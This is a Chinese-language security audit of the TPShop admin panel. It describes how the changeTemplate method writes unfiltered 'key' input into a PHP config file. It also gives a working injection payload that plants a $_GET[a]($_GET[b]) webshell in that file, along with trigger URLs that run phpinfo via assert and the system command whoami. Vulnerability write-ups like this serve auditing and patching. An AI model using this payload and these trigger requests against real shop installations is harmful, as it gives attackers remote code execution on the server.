Tpshop后台配置文件getshell
审计过程
跟进/application/admin/controller/Template.php中的changeTemplate方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function changeTemplate(){ $t = I('t','pc'); $m = ($t == 'pc') ? 'home' : 'mobile'; $key = $this->request->param('key'); if(!is_writeable(APP_PATH."$m/html.php")) return "文件/".APP_PATH."$m/html.php不可写,不能启用魔板,请修改权限!!!"; $config_html ="<?php return [ 'template' => [ // 模板引擎类型 支持 php think 支持扩展 'type' => 'Think', // 模板路径 'view_path' => './template/$t/$key/', // 模板后缀 'view_suffix' => 'html', // 模板文件名分隔符 'view_depr' => DS, // 模板引擎普通标签开始标记 'tpl_begin' => '{', // 模板引擎普通标签结束标记 'tpl_end' => '}', // 标签库标签开始标记 'taglib_begin' => '<', // 标签库标签结束标记 'taglib_end' => '>', //模板文件名 'default_theme' => '$key', ], 'view_replace_str' => [ '__PUBLIC__'=>'/public', '__STATIC__' => '/template/$t/$key/static', '__ROOT__'=>'' ] ]; ?>"; file_put_contents(APP_PATH."/$m/html.php", $config_html); delFile('./runtime'); $this->success("操作成功!!!",U('admin/template/templateList',array('t'=>$t))); }
|
首先t,key用户可控,其次t,key没有任何过滤就被写入到了html.php动态调整模板配置信息
那么如果攻击者让key传入
1
| aa',$_GET[a]($_GET[b]),'
|
就能利用PHP动态函数调用机制执行各种函数,导致任意代码或命令执行
因为如果key传入 aa’,$_GETa,’,模板文件就变成下面这样,是符合php语法的,且导致了代码注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php return [ 'template' => [ 'type' => 'Think', 'view_path' => './template/pc/aa',$_GET[a]($_GET[b]),'/', 'view_suffix' => 'html', 'view_depr' => DS, 'tpl_begin' => '{', 'tpl_end' => '}', 'taglib_begin' => '<', 'taglib_end' => '>', 'default_theme' => 'aa',$_GET[a]($_GET[b]),'', ], 'view_replace_str' => [ '__PUBLIC__'=>'/public', '__STATIC__' => '/template/pc/aa',$_GET[a]($_GET[b]),'/static', '__ROOT__'=>'' ] ]; ?>
|
触发
访问 http://localhost:8081/index.php?a=assert&b=phpinfo()
执行下命令:
http://localhost:8081/index.php?a=system&b=whoami